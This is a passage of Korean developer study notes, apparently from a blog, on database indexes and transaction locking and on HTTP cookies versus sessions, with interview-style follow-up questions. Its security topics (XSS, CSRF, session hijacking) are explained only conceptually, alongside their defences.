REPEATABLE READ:

넥스트 키 락 사용
갭 락으로 Phantom Read 방지

SERIALIZABLE:

범위 락 사용
인덱스 전체에 락 설정 가능

성능 영향:

격리 수준이 높을수록 인덱스 락 범위 증가
동시성 저하, 데드락 가능성 증가

4. 롤백 시 인덱스 복구는 어떻게 이루어지나?

언두 로그(Undo Log) 사용:

BEGIN TRANSACTION;
    INSERT INTO users (id, name) VALUES (1, '홍길동');
    -- 인덱스 업데이트 전 상태를 언두 로그에 저장

    ROLLBACK;
    -- 언두 로그를 사용하여 인덱스 복구
    -- 인덱스가 트랜잭션 시작 전 상태로 복구됨

복구 과정:

언두 로그에서 인덱스 변경 전 상태 확인
인덱스에서 변경사항 제거
인덱스 B+Tree 재정렬

비용:

인덱스가 많을수록 복구 비용 증가
롤백 시간이 길어짐

5. 인덱스 없이 트랜잭션을 실행하면 어떻게 되나?

Full Table Scan 발생:

-- 인덱스 없음
BEGIN TRANSACTION;
    SELECT * FROM users WHERE name = '홍길동';
    -- Full Table Scan 발생 (느림)
    -- 전체 테이블을 스캔하여 검색
COMMIT;

영향:

SELECT 성능 저하
트랜잭션 시간 증가
락 보유 시간 증가 → 동시성 저하

권장:

자주 조회되는 컬럼에 인덱스 생성
트랜잭션 성능 향상

SQL_22) 건초더미에서 바늘 찾기 싫다면 인덱스를 쓰세요

jaemeon — Wed, 28 Jan 2026 08:43:13 +0900

인덱스(Index)

인덱스(Index) 는 데이터 검색 속도를 높이기 위해 별도로 관리하는 자료구조입니다. 일반적으로 B-Tree 구조를 사용하며, 컬럼의 값과 해당 레코드가 저장된 주소를 키와 값의 쌍으로 저장합니다. 인덱스가 있으면 테이블 전체를 읽는 'Full Table Scan' 대신 특정 범위만 탐색하는 'Index Scan'이 가능해져 SELECT 성능이 비약적으로 향상됩니다.

Why (왜 사용하는가? 왜 중요한가?)

인덱스 없이는 대용량 테이블에서 데이터를 검색할 때 전체 테이블을 스캔해야 하므로 성능이 크게 저하됩니다. 1억 개의 데이터가 섞여 있을 때 특정 값을 찾는 것은 '모래사장에서 바늘 찾기'와 같지만, 인덱스를 통해 미리 정렬해두면 업다운 게임처럼 빠르게 찾을 수 있습니다.
인덱스는 항상 정렬된 상태를 유지해야 하므로 INSERT, UPDATE, DELETE 시에는 추가적인 오버헤드가 발생하며, 별도의 저장 공간이 필요하다는 트레이드오프가 있습니다. 따라서 꼭 필요한 컬럼에만 전략적으로 인덱스를 만드는 것이 핵심입니다.
Full Table Scan과 Index Scan의 차이, B-Tree와 B+Tree의 구조와 동작 원리, 인덱스의 장단점, 그리고 인덱스를 사용해야 하는 경우와 사용하지 말아야 하는 경우를 이해해야 합니다.

1. 인덱스(Index)란?

인덱스의 정의

인덱스(Index)는 데이터 검색 속도를 높이기 위해 별도로 관리하는 자료구조입니다. 인덱스는 한 마디로 '검색용 복사본'입니다.

인덱스의 필요성

대용량 테이블에서 특정 데이터를 찾을 때, 인덱스가 없으면 전체 테이블을 스캔해야 합니다.

→ 최대 100까지의 숫자 업다운 게임을 예시로로 인덱스가 없을 때와 있을 때의 경우를 비교를 해봅시다.

순서대로 찾기

너 1이야? 
너 2야?
... 
...
... 
너 97이야? >> 응 >> 97번의 조회를 통해 찾았다.

나누어서 유추

너 50보다 커?
너 75보다 커?
... 
...
...
96보다 크고 98보다 작구나.  97 >> 대략 6~8회의 조회를 통해 찾았다.

인덱스의 구조

인덱스는 컬럼의 값과 해당 레코드가 저장된 주소를 키와 값의 쌍으로 저장합니다.

인덱스 구조:
키(컬럼 값) → 값(레코드 주소)

예시:
이름: "홍길동" → 주소: 0x1234
이름: "김철수" → 주소: 0x5678
이름: "이영희" → 주소: 0x9ABC

2. Full Table Scan vs Index Scan

Full Table Scan (전체 테이블 스캔)

Full Table Scan은 인덱스를 사용하지 않고 테이블의 모든 행을 순차적으로 읽는 방식입니다.

특징:

테이블의 모든 데이터를 읽음
인덱스가 없거나 인덱스를 사용할 수 없는 경우 발생
대용량 테이블에서는 매우 느림

비유: 처음부터 끝까지 다 뒤지는 '노가다'

예시:

-- 인덱스가 없는 컬럼으로 검색
SELECT * FROM users WHERE email = 'user@example.com';
-- 전체 테이블을 스캔하여 email 컬럼을 하나씩 확인

Index Scan (인덱스 스캔)

Index Scan은 인덱스를 사용하여 필요한 데이터만 빠르게 찾는 방식입니다.

특징:

인덱스를 통해 특정 범위만 탐색
정렬된 인덱스에서 이진 탐색 가능
대용량 테이블에서도 빠른 검색

비유: 미리 정렬된 '지름길'로 가는 방식

예시:

-- 인덱스가 있는 컬럼으로 검색
SELECT * FROM users WHERE id = 12345;
-- 인덱스를 통해 id=12345인 레코드의 주소를 바로 찾음

성능 비교

구분	Full Table Scan	Index Scan
스캔 범위	전체 테이블	인덱스 + 필요한 행만
시간 복잡도	O(n)	O(log n)
대용량 테이블	매우 느림	빠름
비유	노가다	지름길

3. B-Tree와 B+Tree

B-Tree 구조

B-Tree는 인덱스에서 가장 많이 사용되는 자료구조입니다. 균형 잡힌 트리 구조로 데이터를 저장합니다.

B-Tree의 특징:

각 노드는 여러 개의 키를 가질 수 있음
모든 리프 노드가 같은 레벨에 있음 (균형 트리)
각 노드의 키는 정렬된 상태

B+Tree 구조

B+Tree는 B-Tree의 개선된 형태로, 대부분의 RDBMS에서 사용합니다.

B+Tree의 특징:

내부 노드(Internal Node): 키만 저장 (가이드 역할)
리프 노드(Leaf Node): 키와 실제 데이터 주소 저장
리프 노드 연결: 리프 노드끼리 선형으로 연결되어 범위 검색에 유리

B+Tree 구조 예시:

왜 B+Tree인가?

1. 범위 검색에 유리

리프 노드끼리 연결되어 있어 "10살부터 20살까지 다 가져와!" 같은 범위 검색에서 압도적인 성능을 냅니다.

범위 검색: WHERE age BETWEEN 10 AND 20
1. 인덱스에서 10을 찾음
2. 리프 노드 연결을 따라 20까지 순차적으로 읽음
3. 필요한 데이터만 빠르게 가져옴

2. 디스크 I/O 최소화

내부 노드는 키만 저장하므로 메모리에 더 많은 노드를 올릴 수 있어 디스크 접근을 줄입니다.

3. 순차 접근 최적화

리프 노드가 연결되어 있어 순차 스캔이 효율적입니다.

4. 인덱스의 동작 원리

인덱스 생성

-- 단일 컬럼 인덱스 생성
CREATE INDEX idx_name ON users(name);

-- 복합 인덱스 생성
CREATE INDEX idx_name_age ON users(name, age);

인덱스를 사용한 검색 과정

1. 인덱스에서 검색 키 찾기
   - B+Tree를 따라 내려가며 키를 찾음

2. 리프 노드에서 데이터 주소 확인
   - 찾은 키에 해당하는 레코드 주소 확인

3. 실제 테이블에서 데이터 읽기
   - 주소를 통해 실제 데이터를 가져옴

예시:

SELECT * FROM users WHERE name = '홍길동';

동작 과정:

idx_name 인덱스에서 '홍길동' 검색
B+Tree를 따라 내려가며 '홍길동' 찾기
리프 노드에서 '홍길동'에 해당하는 레코드 주소 확인 (예: 0x1234)
실제 테이블의 0x1234 주소에서 데이터 읽기

5. 인덱스의 장점과 단점

장점

검색 속도 향상
- Full Table Scan 대신 Index Scan 사용
- 대용량 테이블에서도 빠른 검색
정렬 작업 최소화
- 인덱스가 이미 정렬되어 있어 ORDER BY 성능 향상
조인 성능 향상
- 외래 키에 인덱스가 있으면 조인 성능 향상

단점 (Trade-off)

추가 저장 공간 필요
- 인덱스는 별도의 저장 공간을 차지함
- 테이블 크기의 약 10~20% 추가 공간 필요
INSERT, UPDATE, DELETE 성능 저하
- 데이터를 새로 넣거나 바꿀 때마다 인덱스도 매번 다시 정렬해야 함
- 인덱스를 남발하면 INSERT 할 때마다 DB가 "잠깐만, 인덱스 줄 세우기 다시 해야 해"라며 멈칫거림
인덱스 유지 비용
- 인덱스는 항상 정렬된 상태를 유지해야 함
- 데이터 변경 시 인덱스도 함께 업데이트해야 함

세상에 공짜는 없다 (Trade-off)

인덱스는 조회(SELECT)와 수정(DML) 사이의 밀당이 필요합니다.

SELECT가 많으면: 인덱스가 유리
INSERT/UPDATE/DELETE가 많으면: 인덱스가 부담

따라서 꼭 필요한 컬럼에만 전략적으로 인덱스를 만드는 것이 핵심입니다.

6. 인덱스를 사용해야 하는 경우

인덱스 생성이 유리한 경우

WHERE 절에서 자주 사용되는 컬럼
-- name 컬럼으로 자주 검색 SELECT * FROM users WHERE name = '홍길동';
조인에 자주 사용되는 컬럼
-- 외래 키에 인덱스 SELECT * FROM orders o JOIN users u ON o.user_id = u.id;
ORDER BY에서 자주 사용되는 컬럼
-- 정렬 성능 향상 SELECT * FROM users ORDER BY created_at DESC;
고유한 값을 가진 컬럼
-- PRIMARY KEY, UNIQUE 제약조건 CREATE UNIQUE INDEX idx_email ON users(email);
카디널리티가 높은 컬럼
- 카디널리티: 컬럼의 고유한 값의 개수
- 높은 카디널리티 = 많은 고유 값 = 인덱스 효과 큼

인덱스 생성이 불리한 경우

카디널리티가 낮은 컬럼
- 예: 성별(남/여), 상태(활성/비활성)
- 인덱스 효과가 거의 없음
자주 변경되는 컬럼
- INSERT/UPDATE/DELETE가 빈번한 컬럼
- 인덱스 유지 비용이 큼
작은 테이블
- 데이터가 적으면 Full Table Scan이 더 빠를 수 있음
NULL 값이 많은 컬럼
- 인덱스 효과가 제한적

7. 복합 인덱스 (Composite Index)

복합 인덱스란?

복합 인덱스(Composite Index)는 여러 컬럼을 조합하여 만든 인덱스입니다.

CREATE INDEX idx_name_age ON users(name, age);

복합 인덱스의 사용 규칙

복합 인덱스는 왼쪽부터 순서대로 사용됩니다.

예시:

-- 인덱스: (name, age)

-- ✅ 인덱스 사용 가능
SELECT * FROM users WHERE name = '홍길동';
SELECT * FROM users WHERE name = '홍길동' AND age = 25;

-- ❌ 인덱스 사용 불가 (age만 사용)
SELECT * FROM users WHERE age = 25;

이유: 인덱스는 (name, age) 순서로 정렬되어 있어, name 없이 age만으로는 인덱스를 효율적으로 사용할 수 없습니다.

복합 인덱스 설계 원칙

자주 함께 사용되는 컬럼 조합
카디널리티가 높은 컬럼을 앞에 배치
WHERE 절에서 자주 사용되는 컬럼을 앞에 배치

요약

인덱스는 데이터 검색 속도를 높이기 위해 별도로 관리하는 자료구조로, 한 마디로 '검색용 복사본'입니다. 컬럼의 값과 해당 레코드가 저장된 주소를 키와 값의 쌍으로 저장합니다.
Full Table Scan은 전체 테이블을 읽는 방식이고, Index Scan은 인덱스를 통해 특정 범위만 탐색하는 방식입니다. 인덱스가 있으면 SELECT 성능이 비약적으로 향상됩니다.
B+Tree는 대부분의 RDBMS에서 사용하는 인덱스 자료구조로, 리프 노드끼리 연결되어 있어 범위 검색에 유리합니다. 가이드 노드를 따라가서 실제 데이터가 있는 리프 노드에 도달하는 방식입니다.
인덱스의 트레이드오프: 검색 속도는 향상되지만, 추가 저장 공간이 필요하고 INSERT/UPDATE/DELETE 시 오버헤드가 발생합니다. 따라서 꼭 필요한 컬럼에만 전략적으로 인덱스를 만드는 것이 핵심입니다.

참고 자료

예상 꼬리질문 정리

1. 인덱스가 없으면 왜 느린가?

Full Table Scan의 문제점:

인덱스가 없으면 데이터베이스는 테이블의 모든 행을 순차적으로 읽어야 합니다.

1억 개의 데이터에서 특정 값 찾기
→ 전체 테이블을 처음부터 끝까지 스캔
→ 최악의 경우 1억 개를 모두 확인해야 함
→ 시간 복잡도: O(n)

Index Scan의 장점:

인덱스가 있으면 정렬된 데이터에서 이진 탐색이 가능합니다.

1억 개의 데이터에서 특정 값 찾기
→ 인덱스를 통해 이진 탐색
→ 최대 약 27번의 비교로 찾을 수 있음 (log₂(1억) ≈ 27)
→ 시간 복잡도: O(log n)

2. B-Tree와 B+Tree의 차이는?

B-Tree:

내부 노드와 리프 노드 모두 데이터를 저장할 수 있음
범위 검색 시 비효율적일 수 있음

B+Tree:

내부 노드는 키만 저장 (가이드 역할)
리프 노드에만 실제 데이터 주소 저장
리프 노드끼리 연결되어 범위 검색에 유리
대부분의 RDBMS에서 사용

왜 B+Tree를 사용하는가:

범위 검색 성능이 뛰어남
디스크 I/O 최소화
순차 접근 최적화

3. 인덱스를 많이 만들면 좋은가?

아니요. 인덱스를 남발하면 안 됩니다.

문제점:

저장 공간 낭비
- 인덱스는 별도의 저장 공간을 차지함
- 불필요한 인덱스는 공간만 낭비
INSERT/UPDATE/DELETE 성능 저하
- 데이터 변경 시 모든 인덱스를 업데이트해야 함
- 인덱스가 많을수록 쓰기 성능 저하
인덱스 선택 비용 증가
- 옵티마이저가 어떤 인덱스를 사용할지 결정하는 비용 증가

권장 사항:

꼭 필요한 컬럼에만 인덱스 생성
자주 사용되는 쿼리 패턴을 분석하여 인덱스 설계
인덱스 사용 여부를 모니터링하여 불필요한 인덱스 제거

4. 복합 인덱스에서 순서가 중요한 이유는?

복합 인덱스는 왼쪽부터 순서대로 사용됩니다.

예시:

CREATE INDEX idx_name_age ON users(name, age);

인덱스 구조:

(name, age) 순서로 정렬됨
- ('김철수', 20)
- ('김철수', 25)
- ('홍길동', 30)
- ('홍길동', 35)

사용 가능한 쿼리:

-- ✅ name만 사용 (인덱스 사용 가능)
WHERE name = '홍길동'

-- ✅ name과 age 모두 사용 (인덱스 사용 가능)
WHERE name = '홍길동' AND age = 30

사용 불가능한 쿼리:

-- ❌ age만 사용 (인덱스 사용 불가)
WHERE age = 30

이유: 인덱스는 (name, age) 순서로 정렬되어 있어, name 없이 age만으로는 인덱스를 효율적으로 사용할 수 없습니다.

5. 카디널리티가 낮은 컬럼에 인덱스를 만들면?

카디널리티가 낮은 컬럼은 고유한 값의 개수가 적은 컬럼입니다.

예시:

성별: 남/여 (카디널리티: 2)
상태: 활성/비활성/대기 (카디널리티: 3)

문제점:

인덱스 효과가 거의 없음
- 인덱스를 사용해도 많은 행을 스캔해야 함
- Full Table Scan과 성능 차이가 거의 없음
인덱스 유지 비용만 발생
- INSERT/UPDATE/DELETE 시 인덱스 업데이트 비용
- 저장 공간 낭비

권장 사항:

카디널리티가 낮은 컬럼에는 인덱스를 만들지 않는 것이 좋음
단, 복합 인덱스의 일부로 사용되는 경우는 예외

6. 인덱스가 SELECT 성능에만 영향을 주나?

아니요. 인덱스는 여러 작업에 영향을 줍니다.

SELECT:

인덱스를 사용하여 검색 속도 향상

INSERT:

인덱스 업데이트로 인한 오버헤드 발생
인덱스가 많을수록 INSERT 속도 저하

UPDATE:

인덱스 컬럼을 변경하면 인덱스도 업데이트 필요
인덱스가 많을수록 UPDATE 속도 저하

DELETE:

인덱스에서도 해당 항목 삭제 필요
인덱스가 많을수록 DELETE 속도 저하

ORDER BY:

인덱스가 이미 정렬되어 있어 정렬 작업 최소화

JOIN:

외래 키에 인덱스가 있으면 조인 성능 향상

Network_06) 촉촉한 brower Cookie

jaemeon — Mon, 26 Jan 2026 08:27:26 +0900

Topic (오늘의 주제)

쿠키(Cookie)와 세션(Session)은 HTTP의 상태 없는(Stateless) 특성을 보완하여 사용자 상태를 유지하기 위한 메커니즘입니다. 쿠키는 클라이언트(브라우저)에 저장되는 작은 데이터 조각을 저장하고, 세션은 서버에 사용자 정보를 저장하고 세션 ID를 쿠키로 전달하는 방식입니다.

Why (왜 사용하는가? 왜 중요한가?)

HTTP는 상태 없는(Stateless) 프로토콜이므로 각 요청은 독립적입니다. 로그인 상태 유지, 장바구니, 사용자 설정 등을 위해서는 쿠키와 세션이 필요합니다. 쿠키와 세션을 이해하지 못하면 사용자 인증, 상태 관리, 보안 문제를 해결할 수 없습니다.
쿠키와 세션의 차이점(저장 위치, 보안, 용량 제한), 쿠키의 속성(HttpOnly, Secure, SameSite), 세션의 동작 원리, 그리고 각각의 사용 사례와 보안 고려사항을 이해해야 합니다.

1. HTTP의 Stateless 특성

Stateless란?

HTTP는 Stateless(상태 없음) 프로토콜입니다. 즉, 각 HTTP 요청은 이전 요청과 독립적이며, 서버는 이전 요청의 정보를 기억하지 않습니다.

예시:

요청 1: GET /login?id=user1
요청 2: GET /profile
[서버는 요청 1의 정보를 기억하지 않음]

문제점:

로그인 상태를 유지할 수 없음
장바구니에 담은 상품을 기억할 수 없음
사용자 설정을 저장할 수 없음

해결 방법:

쿠키(Cookie): 클라이언트에 데이터 저장
세션(Session): 서버에 데이터 저장, 세션 ID를 쿠키로 전달

2. 쿠키(Cookie)란?

쿠키의 정의

쿠키(Cookie)는 서버가 클라이언트(브라우저)에 저장하는 작은 데이터 조각입니다. 브라우저는 이후 요청에 쿠키를 자동으로 포함하여 전송합니다.

쿠키의 주요 특징

클라이언트에 저장
- 브라우저의 쿠키 저장소에 저장
- 서버가 아닌 클라이언트 측에 데이터 보관
자동 전송
- 브라우저가 요청 시 자동으로 쿠키를 포함
- 서버가 별도로 요청하지 않아도 전송됨
도메인별 관리
- 각 도메인별로 쿠키가 분리되어 저장
- example.com의 쿠키는 example.com으로만 전송
용량 제한
- 쿠키 하나당 최대 4KB
- 도메인당 약 20개 정도의 쿠키 제한

쿠키의 구조

Set-Cookie: name=value; Expires=날짜; Path=/; Domain=example.com; Secure; HttpOnly; SameSite=Strict

주요 속성:

name=value: 쿠키의 이름과 값
Expires/Max-Age: 쿠키 만료 시간
Path: 쿠키를 전송할 경로
Domain: 쿠키를 전송할 도메인
Secure: HTTPS에서만 전송
HttpOnly: JavaScript 접근 불가
SameSite: CSRF 공격 방지

쿠키 설정 예시

서버에서 쿠키 설정:

HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; Expires=Wed, 21 Oct 2024 07:28:00 GMT; Path=/; HttpOnly; Secure
Set-Cookie: theme=dark; Max-Age=3600; Path=/

클라이언트가 쿠키 전송:

GET /profile HTTP/1.1
Host: example.com
Cookie: sessionId=abc123; theme=dark

3. 쿠키의 속성 상세 설명

1. Expires / Max-Age

만료 시간 설정:

Expires:

Expires=Wed, 21 Oct 2024 07:28:00 GMT

절대 시간으로 만료 시점 지정
만료되면 브라우저가 쿠키 삭제

Max-Age:

Max-Age=3600

상대 시간으로 만료 시점 지정 (초 단위)
3600초 = 1시간 후 만료

만료 시간 없음:

[Expires나 Max-Age 없음]

세션 쿠키 (Session Cookie)
브라우저 종료 시 삭제

2. Path

쿠키를 전송할 경로 지정:

Path=/
Path=/admin
Path=/api

예시:

Path=/admin
→ /admin, /admin/users, /admin/settings 등에만 쿠키 전송
→ /home에는 쿠키 전송 안 함

3. Domain

쿠키를 전송할 도메인 지정:

Domain=example.com
Domain=.example.com  (서브도메인 포함)

예시:

Domain=.example.com
→ example.com, www.example.com, api.example.com 모두에 쿠키 전송

4. Secure

HTTPS에서만 쿠키 전송:

Secure

보안 효과:

HTTP에서는 쿠키 전송 안 함
HTTPS에서만 쿠키 전송
네트워크에서 쿠키 탈취 방지

5. HttpOnly

JavaScript 접근 불가:

HttpOnly

보안 효과:

JavaScript의 document.cookie로 접근 불가
XSS(Cross-Site Scripting) 공격 방지
세션 ID 같은 민감한 정보 보호

예시:

// HttpOnly 쿠키는 접근 불가
document.cookie  // HttpOnly 쿠키는 보이지 않음

6. SameSite

CSRF 공격 방지:

SameSite=Strict    // 같은 사이트에서만 전송
SameSite=Lax       // 일부 외부 요청에서도 전송 (기본값)
SameSite=None      // 모든 요청에서 전송 (Secure 필수)

SameSite=Strict:

example.com에서만 쿠키 전송
다른 사이트에서 example.com으로 요청 시 쿠키 전송 안 함

SameSite=Lax:

GET 요청은 외부에서도 쿠키 전송
POST 요청은 같은 사이트에서만 쿠키 전송

SameSite=None:

모든 요청에서 쿠키 전송
Secure 속성과 함께 사용해야 함

4. 세션(Session)이란?

세션의 정의

세션(Session)은 서버에 사용자 정보를 저장하고, 클라이언트에는 세션 ID만 쿠키로 전달하는 방식입니다.

세션의 주요 특징

서버에 데이터 저장
- 사용자 정보를 서버 메모리나 데이터베이스에 저장
- 클라이언트에는 세션 ID만 전달
세션 ID를 쿠키로 전달
- 서버가 생성한 고유한 세션 ID
- 쿠키에 세션 ID를 담아 클라이언트에 전달
보안성
- 실제 데이터는 서버에만 저장
- 클라이언트는 세션 ID만 가지고 있음
- 세션 ID가 탈취되어도 서버에서 무효화 가능
서버 부하
- 서버 메모리나 DB에 세션 정보 저장
- 세션 조회를 위한 추가 작업 필요

세션의 동작 원리

1️⃣ 사용자가 로그인 요청
      ↓
2️⃣ 서버가 사용자 정보 확인
      ↓
3️⃣ 서버가 세션 생성 및 저장
   - 세션 ID 생성 (예: "abc123")
   - 사용자 정보를 세션에 저장
   - 서버 메모리/DB에 세션 저장
      ↓
4️⃣ 서버가 세션 ID를 쿠키로 전달
   Set-Cookie: sessionId=abc123; HttpOnly; Secure
      ↓
5️⃣ 클라이언트가 이후 요청에 쿠키 자동 포함
   Cookie: sessionId=abc123
      ↓
6️⃣ 서버가 세션 ID로 세션 조회
   - 세션 ID로 사용자 정보 조회
   - 인증 상태 확인

세션 저장 위치

서버 메모리 (In-Memory)

서버 메모리에 세션 저장
- 빠른 접근
- 서버 재시작 시 세션 손실
- 서버 확장 시 세션 공유 불가

데이터베이스

DB에 세션 저장
- 영구 저장
- 서버 확장 시 세션 공유 가능
- DB 조회 오버헤드

Redis (권장)

Redis에 세션 저장
- 빠른 접근 (메모리 기반)
- 서버 확장 시 세션 공유 가능
- 영구 저장 가능

5. 쿠키 vs 세션 비교

핵심 차이점

구분	쿠키	세션
저장 위치	클라이언트 (브라우저)	서버 (메모리/DB/Redis)
데이터 크기	제한적 (4KB)	제한 없음
보안	상대적으로 낮음 (클라이언트에 저장)	높음 (서버에 저장)
서버 부하	없음	있음 (세션 조회 필요)
용도	간단한 설정, 추적	인증, 중요한 정보
만료 시간	클라이언트가 관리	서버가 관리
JavaScript 접근	가능 (HttpOnly 없을 때)	불가능 (서버에만 존재)
확장성	좋음 (서버 부하 없음)	제한적 (서버 메모리/DB 의존)

데이터 저장 위치 비교

쿠키:

클라이언트                    서버
    |                         |
[쿠키 저장소]                 |
- sessionId=abc123           |
- theme=dark                 |
    |                         |
    |---- Cookie: sessionId=abc123 -->|
    |                         |

세션:

클라이언트                    서버
    |                         |
    |                         | [세션 저장소]
    |                         | - abc123: {userId: 1, ...}
    |                         | - def456: {userId: 2, ...}
    |                         |
    |---- Cookie: sessionId=abc123 -->|
    |                         | [세션 조회]
    |                         | 세션 ID로 사용자 정보 조회

6. 쿠키와 세션의 사용 사례

쿠키를 사용하는 경우

사용자 설정

- 언어 설정 (language=ko)
- 테마 설정 (theme=dark)
- 화면 크기 설정

장바구니 (간단한 경우)

- 상품 ID 목록
- 간단한 사용자 선호도

추적 (Tracking)

- 방문 횟수
- 마지막 방문 시간
- 광고 추적

세션 ID 저장

- 세션 ID를 쿠키에 저장
- 실제 데이터는 서버 세션에 저장

세션을 사용하는 경우

로그인 인증

- 사용자 ID
- 권한 정보
- 로그인 상태

중요한 정보

- 개인정보
- 결제 정보
- 민감한 설정

임시 데이터

- 폼 데이터 임시 저장
- 다단계 프로세스 상태

7. 쿠키와 세션의 보안 고려사항

쿠키의 보안 문제

XSS 공격 (Cross-Site Scripting)
```
공격자가 악성 스크립트를 주입
→ JavaScript로 쿠키 탈취
```
해결:
- HttpOnly 속성 사용
- XSS 공격 방지 (입력 검증, 출력 인코딩)

CSRF 공격 (Cross-Site Request Forgery)

공격자가 다른 사이트에서 요청
→ 쿠키가 자동으로 포함되어 전송

해결:

SameSite 속성 사용
CSRF 토큰 사용

쿠키 탈취
```
네트워크에서 쿠키 가로채기
```
해결:
- Secure 속성 사용 (HTTPS만)
- HTTPS 사용

세션의 보안 문제

세션 하이재킹 (Session Hijacking)
```
세션 ID 탈취
→ 공격자가 세션 ID로 인증 우회
```
해결:
- HTTPS 사용
- HttpOnly 쿠키 사용
- 세션 ID 주기적 변경
- IP 주소 확인

세션 고정 공격 (Session Fixation)

공격자가 세션 ID를 미리 알고 있음
→ 사용자가 그 세션 ID로 로그인
→ 공격자가 세션 ID로 접근

해결:

로그인 시 세션 ID 재생성
권한 변경 시 세션 ID 재생성

세션 만료 관리
```
세션이 만료되지 않음
→ 장기간 유효한 세션
```
해결:
- 적절한 세션 만료 시간 설정
- 비활성 시간 기반 만료

8. 쿠키와 세션의 실제 동작 예시

로그인 프로세스 (세션 사용)

1. 사용자가 로그인 요청
   POST /login
   {
     "username": "user1",
     "password": "password123"
   }

2. 서버가 인증 확인 후 세션 생성
   - 세션 ID 생성: "sess_abc123"
   - 세션에 저장: {userId: 1, username: "user1", role: "user"}
   - 세션을 서버 메모리/DB에 저장

3. 서버가 세션 ID를 쿠키로 전송
   HTTP/1.1 200 OK
   Set-Cookie: sessionId=sess_abc123; HttpOnly; Secure; SameSite=Strict

4. 클라이언트가 이후 요청에 쿠키 포함
   GET /profile
   Cookie: sessionId=sess_abc123

5. 서버가 세션 조회
   - 세션 ID로 세션 조회
   - 사용자 정보 확인
   - 인증된 사용자로 처리

테마 설정 (쿠키 사용)

1. 사용자가 테마 변경
   POST /settings/theme
   {
     "theme": "dark"
   }

2. 서버가 쿠키 설정
   HTTP/1.1 200 OK
   Set-Cookie: theme=dark; Max-Age=31536000; Path=/

3. 클라이언트가 이후 요청에 쿠키 포함
   GET /home
   Cookie: theme=dark

4. 서버가 테마 정보 사용
   - 쿠키에서 theme 읽기
   - 다크 테마로 응답

9. 쿠키와 세션의 최적화

쿠키 최적화

필요한 쿠키만 사용
- 불필요한 쿠키는 제거
- 쿠키 크기 최소화
적절한 만료 시간 설정
- 영구 쿠키는 필요한 경우만
- 세션 쿠키는 브라우저 종료 시 삭제
도메인과 경로 최적화
- 필요한 경로에만 쿠키 전송
- 불필요한 도메인에 쿠키 전송 방지

세션 최적화

세션 저장소 선택
- Redis 사용 (빠른 접근, 확장성)
- DB는 필요한 경우만
세션 만료 시간 설정
- 적절한 만료 시간 설정
- 비활성 시간 기반 만료
세션 정리
- 만료된 세션 정기적 삭제
- 메모리 누수 방지

요약

쿠키는 클라이언트(브라우저)에 저장되는 작은 데이터 조각으로, 브라우저가 자동으로 요청에 포함하여 전송합니다. 용량 제한(4KB)이 있고, HttpOnly, Secure, SameSite 속성으로 보안을 강화할 수 있습니다.
세션은 서버에 사용자 정보를 저장하고, 클라이언트에는 세션 ID만 쿠키로 전달하는 방식입니다. 실제 데이터는 서버에 저장되어 보안성이 높지만, 서버 부하와 확장성 문제가 있을 수 있습니다.
쿠키는 간단한 설정, 추적에 사용하고, 세션은 로그인 인증, 중요한 정보 저장에 사용합니다. 세션 ID는 보통 쿠키에 저장하여 전달합니다.
보안: 쿠키는 HttpOnly, Secure, SameSite 속성을 사용하고, 세션은 HTTPS 사용, 세션 ID 재생성, 적절한 만료 시간 설정이 중요합니다.

참고 자료

예상 꼬리질문 정리

1. 쿠키와 세션을 함께 사용하는 경우는?

일반적인 패턴:

세션 ID를 쿠키에 저장
실제 사용자 정보는 서버 세션에 저장

예시:

서버가 세션 생성
  → 세션 ID: "sess_abc123"
  → 세션에 저장: {userId: 1, username: "user1"}

쿠키에 세션 ID 저장
  Set-Cookie: sessionId=sess_abc123; HttpOnly; Secure

클라이언트는 세션 ID만 가지고 있음
서버는 세션 ID로 사용자 정보 조회

장점:

보안성: 실제 데이터는 서버에만 저장
효율성: 쿠키는 작은 세션 ID만 저장

2. 쿠키 없이 세션을 사용할 수 있나?

가능하지만 비효율적:

URL 파라미터로 세션 ID 전달
```
GET /profile?sessionId=abc123
```
- 문제점: URL에 노출, 브라우저 히스토리에 저장, 공유 시 세션 ID 노출
Hidden Form Field
```
<input type="hidden" name="sessionId" value="abc123">
```
- 문제점: 모든 폼에 포함 필요, 복잡함
Authorization 헤더
```
Authorization: Session abc123
```
- 문제점: 브라우저가 자동으로 포함하지 않음, 수동 설정 필요

결론:

쿠키가 가장 편리하고 안전한 방법
HttpOnly, Secure 속성으로 보안 강화

3. 세션을 서버 메모리에 저장하면 어떤 문제가 있나?

문제점:

서버 재시작 시 세션 손실

서버 재시작 → 메모리 초기화 → 모든 세션 삭제
→ 사용자가 다시 로그인해야 함

서버 확장 시 세션 공유 불가

서버 1: 세션 A 저장
서버 2: 세션 A 없음
→ 로드 밸런서가 서버 2로 요청 라우팅
→ 세션을 찾을 수 없음

메모리 부족

많은 사용자 → 많은 세션 → 메모리 부족
→ 서버 다운 가능

해결 방법:

Redis 같은 외부 저장소 사용
세션 클러스터링
Sticky Session (같은 서버로 라우팅)

4. 쿠키의 SameSite 속성은 어떻게 동작하나?

SameSite=Strict:

example.com에서만 쿠키 전송
다른 사이트에서 example.com으로 요청 시 쿠키 전송 안 함

예시:
- example.com → example.com: 쿠키 전송 ✅
- evil.com → example.com: 쿠키 전송 안 함 ❌

SameSite=Lax (기본값):

GET 요청은 외부에서도 쿠키 전송
POST 요청은 같은 사이트에서만 쿠키 전송

예시:
- evil.com → example.com (GET): 쿠키 전송 ✅
- evil.com → example.com (POST): 쿠키 전송 안 함 ❌

SameSite=None:

모든 요청에서 쿠키 전송
Secure 속성과 함께 사용해야 함

예시:
- 모든 사이트에서 쿠키 전송 ✅
- Secure 필수 (HTTPS만)

CSRF 공격 방지:

SameSite=Strict 또는 Lax 사용
외부 사이트에서의 요청 시 쿠키 전송 방지

5. 세션과 JWT 토큰의 차이는?

구분	세션	JWT 토큰
저장 위치	서버	클라이언트
상태 관리	Stateful (서버가 상태 유지)	Stateless (서버는 상태 없음)
확장성	제한적 (서버 메모리/DB 의존)	좋음 (서버 확장 용이)
즉시 무효화	가능 (세션 삭제)	어려움 (토큰 만료까지 유효)
데이터 크기	제한 없음	제한적 (토큰 크기 증가)
보안	높음 (서버 제어 가능)	중간 (토큰 탈취 위험)

세션:

서버에 사용자 정보 저장
세션 ID만 클라이언트에 전달
서버에서 즉시 무효화 가능

JWT:

사용자 정보를 토큰에 포함
클라이언트가 토큰 보관
서버 확장 용이

자세한 내용은 [[세션 로그인 vs JWT 토큰 로그인]]을 참고하세요.

6. 쿠키의 HttpOnly 속성은 왜 중요한가?

HttpOnly 없을 때:

// JavaScript로 쿠키 접근 가능
